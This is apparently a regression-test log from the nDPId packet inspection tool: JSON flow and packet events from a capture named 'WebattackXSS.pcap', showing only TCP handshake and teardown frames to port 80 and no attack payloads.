+00444{"flow_id":543,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7679,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347891,"pkt_ts_usec":536525,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8JsNAAD4Gnw2sEAABwKgKMoP2AFBiQUjiAAAAAKACchDAPAAAAgQFtAQCCAoBPG4hAAAAAAEDAwc="} +00445{"flow_id":543,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7680,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347891,"pkt_ts_usec":536658,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQg\/bwNNpHYkFI46AScSCzIwAAAgQFtAQCCAoD5j+VATxuIQEDAwc="} +00432{"flow_id":543,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7681,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347891,"pkt_ts_usec":537222,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JsRAAD4GnxSsEAABwKgKMoP2AFBiQUjj8DTaSIAQAOVSKwAAAQEICgE8biED5j+V"} +00432{"flow_id":540,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7685,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347891,"pkt_ts_usec":871366,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0J3VAAD4GnmOsEAABwKgKMoPAAFDfgE5x1m6gdYARAOUn9wAAAQEICgE8bnQD5jp3"} +00432{"flow_id":540,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7686,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347891,"pkt_ts_usec":871600,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0n5xAAEAGJDzAqAoyrBAAAQBQg8DWbqB134BOcoARAOMihgAAAQEICgPmP+kBPG50"} +00433{"flow_id":540,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7687,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347891,"pkt_ts_usec":872351,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0J3ZAAD4GnmKsEAABwKgKMoPAAFDfgE5y1m6gdoAQAOUigwAAAQEICgE8bnUD5j\/p"} +00432{"flow_id":541,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7694,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347892,"pkt_ts_usec":871848,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vilAAD4GB6+sEAABwKgKMoPOAFDy3tRmSInDdIARAOX3QQAAAQEICgE8b28D5ju2"} +00432{"flow_id":541,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7695,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347892,"pkt_ts_usec":872035,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0g5dAAEAGQEHAqAoyrBAAAQBQg85IicN08t7UZ4ARAOPyFQAAAQEICgPmQOMBPG9v"} +00432{"flow_id":541,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7696,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347892,"pkt_ts_usec":872770,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vipAAD4GB66sEAABwKgKMoPOAFDy3tRnSInDdYAQAOXyEwAAAQEICgE8b28D5kDj"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7700,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":544,"flow_packet_id":1,"flow_first_seen":1499347894093,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33808,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":544,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7700,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347894,"pkt_ts_usec":93782,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8W6ZAAD4GaiqsEAABwKgKMoQQAFDdYCsGAAAAAKACchBgYAAAAgQFtAQCCAoBPHCgAAAAAAEDAwc="} +00443{"flow_id":544,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7701,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347894,"pkt_ts_usec":93873,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhBBGWrmb3WArB6AScSAbTwAAAgQFtAQCCAoD5kIUATxwoAEDAwc="} +00431{"flow_id":544,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7702,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347894,"pkt_ts_usec":94658,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W6dAAD4GajGsEAABwKgKMoQQAFDdYCsHRlq5nIAQAOW6VgAAAQEICgE8cKAD5kIU"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7709,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":545,"flow_packet_id":1,"flow_first_seen":1499347895396,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33822,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":545,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7709,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347895,"pkt_ts_usec":396921,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8+PRAAD4GzNusEAABwKgKMoQeAFBBmIkSAAAAAKACchCcyAAAAgQFtAQCCAoBPHHmAAAAAAEDAwc="} +00444{"flow_id":545,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7710,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347895,"pkt_ts_usec":397051,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhB6fI8DwQZiJE6AScSD2UgAAAgQFtAQCCAoD5kNaATxx5gEDAwc="} +00432{"flow_id":545,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7711,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347895,"pkt_ts_usec":397620,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+PVAAD4GzOKsEAABwKgKMoQeAFBBmIkTnyPA8YAQAOWVWgAAAQEICgE8ceYD5kNa"} +00432{"flow_id":542,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7716,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347895,"pkt_ts_usec":872974,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gVVAAD4GRIOsEAABwKgKMoPoAFBPU+2DVwPdnIARAOVTdwAAAQEICgE8cl0D5j5F"} +00432{"flow_id":542,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7717,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347895,"pkt_ts_usec":873223,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0nk1AAEAGJYvAqAoyrBAAAQBQg+hXA92cT1PthIARAONN7AAAAQEICgPmQ9EBPHJd"} +00432{"flow_id":542,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7718,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347895,"pkt_ts_usec":873971,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gVZAAD4GRIKsEAABwKgKMoPoAFBPU+2EVwPdnYAQAOVN6gAAAQEICgE8cl0D5kPR"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7719,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":504,"flow_packet_id":7,"flow_first_seen":1499347823117,"flow_last_seen":1499347828846,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33068,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7719,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":504,"flow_packet_id":7,"flow_first_seen":1499347823117,"flow_last_seen":1499347828846,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33068,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7719,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":505,"flow_packet_id":6,"flow_first_seen":1499347824426,"flow_last_seen":1499347829847,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33082,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7719,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":505,"flow_packet_id":6,"flow_first_seen":1499347824426,"flow_last_seen":1499347829847,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33082,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7719,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":506,"flow_packet_id":6,"flow_first_seen":1499347825732,"flow_last_seen":1499347830847,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33096,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7719,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":506,"flow_packet_id":6,"flow_first_seen":1499347825732,"flow_last_seen":1499347830847,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33096,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7719,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":507,"flow_packet_id":6,"flow_first_seen":1499347828369,"flow_last_seen":1499347833848,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33122,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7719,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":507,"flow_packet_id":6,"flow_first_seen":1499347828369,"flow_last_seen":1499347833848,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33122,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7719,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":508,"flow_packet_id":6,"flow_first_seen":1499347829667,"flow_last_seen":1499347834848,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33136,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7719,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":508,"flow_packet_id":6,"flow_first_seen":1499347829667,"flow_last_seen":1499347834848,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33136,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7722,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":546,"flow_packet_id":1,"flow_first_seen":1499347896716,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33836,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":546,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7722,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347896,"pkt_ts_usec":716455,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8SsxAAD4GewSsEAABwKgKMoQsAFDW1Dn8AAAAAKACchBVSgAAAgQFtAQCCAoBPHMwAAAAAAEDAwc="} +00445{"flow_id":546,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7723,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347896,"pkt_ts_usec":716580,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhCxEXQKe1tQ5\/aAScSDGowAAAgQFtAQCCAoD5kSkATxzMAEDAwc="} +00432{"flow_id":546,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7724,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347896,"pkt_ts_usec":717346,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ss1AAD4GewusEAABwKgKMoQsAFDW1Dn9RF0Cn4AQAOVlqwAAAQEICgE8czAD5kSk"} +00432{"flow_id":543,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7728,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347896,"pkt_ts_usec":873879,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JsVAAD4GnxOsEAABwKgKMoP2AFBiQUjj8DTaSIARAOVM9AAAAQEICgE8c1cD5j+V"} +00433{"flow_id":543,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7729,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347896,"pkt_ts_usec":874095,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0noNAAEAGJVXAqAoyrBAAAQBQg\/bwNNpIYkFI5IARAONHvwAAAQEICgPmRMsBPHNX"} +00432{"flow_id":543,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7730,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347896,"pkt_ts_usec":874836,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JsZAAD4GnxKsEAABwKgKMoP2AFBiQUjk8DTaSYAQAOVHvQAAAQEICgE8c1cD5kTL"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7740,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":547,"flow_packet_id":1,"flow_first_seen":1499347899275,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33862,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":547,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7740,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347899,"pkt_ts_usec":275861,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8zuFAAD4G9u6sEAABwKgKMoRGAFBlPbtRAAAAAKACchBC8gAAAgQFtAQCCAoBPHWwAAAAAAEDAwc="} +00444{"flow_id":547,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7741,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347899,"pkt_ts_usec":275956,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhEbZtc2dZT27UqAScSBRcwAAAgQFtAQCCAoD5kckATx1sAEDAwc="} +00432{"flow_id":547,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7742,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347899,"pkt_ts_usec":276541,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zuJAAD4G9vWsEAABwKgKMoRGAFBlPbtS2bXNnoAQAOXwegAAAQEICgE8dbAD5kck"} +00432{"flow_id":544,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7746,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347899,"pkt_ts_usec":874560,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W6hAAD4GajCsEAABwKgKMoQQAFDdYCsHRlq5nIARAOW0sAAAAQEICgE8dkUD5kIU"} +00433{"flow_id":544,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7747,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347899,"pkt_ts_usec":874771,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0\/iZAAEAGxbHAqAoyrBAAAQBQhBBGWrmc3WArCIARAOOvCwAAAQEICgPmR7oBPHZF"} +00432{"flow_id":544,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7748,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347899,"pkt_ts_usec":875549,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W6lAAD4Gai+sEAABwKgKMoQQAFDdYCsIRlq5nYAQAOWvCAAAAQEICgE8dkYD5ke6"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":548,"flow_packet_id":1,"flow_first_seen":1499347900544,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33876,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":548,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7752,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347900,"pkt_ts_usec":544043,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8T6pAAD4GdiasEAABwKgKMoRUAFAKnjlHAAAAAKACchAeUQAAAgQFtAQCCAoBPHbtAAAAAAEDAwc="} +00444{"flow_id":548,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7753,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347900,"pkt_ts_usec":544186,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhFRwu76qCp45SKAScSCjggAAAgQFtAQCCAoD5khhATx27QEDAwc="} +00432{"flow_id":548,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7754,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347900,"pkt_ts_usec":544760,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0T6tAAD4Gdi2sEAABwKgKMoRUAFAKnjlIcLu+q4AQAOVCigAAAQEICgE8du0D5khh"} +00432{"flow_id":545,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7758,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347900,"pkt_ts_usec":874589,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+PZAAD4GzOGsEAABwKgKMoQeAFBBmIkTnyPA8YARAOWQAAAAAQEICgE8dz8D5kNa"} +00433{"flow_id":545,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7759,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347900,"pkt_ts_usec":874811,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0iEVAAEAGO5PAqAoyrBAAAQBQhB6fI8DxQZiJFIARAOOKpwAAAQEICgPmSLQBPHc\/"} +00432{"flow_id":545,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7760,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347900,"pkt_ts_usec":875540,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+PdAAD4GzOCsEAABwKgKMoQeAFBBmIkUnyPA8oAQAOWKpAAAAQEICgE8d0AD5ki0"} 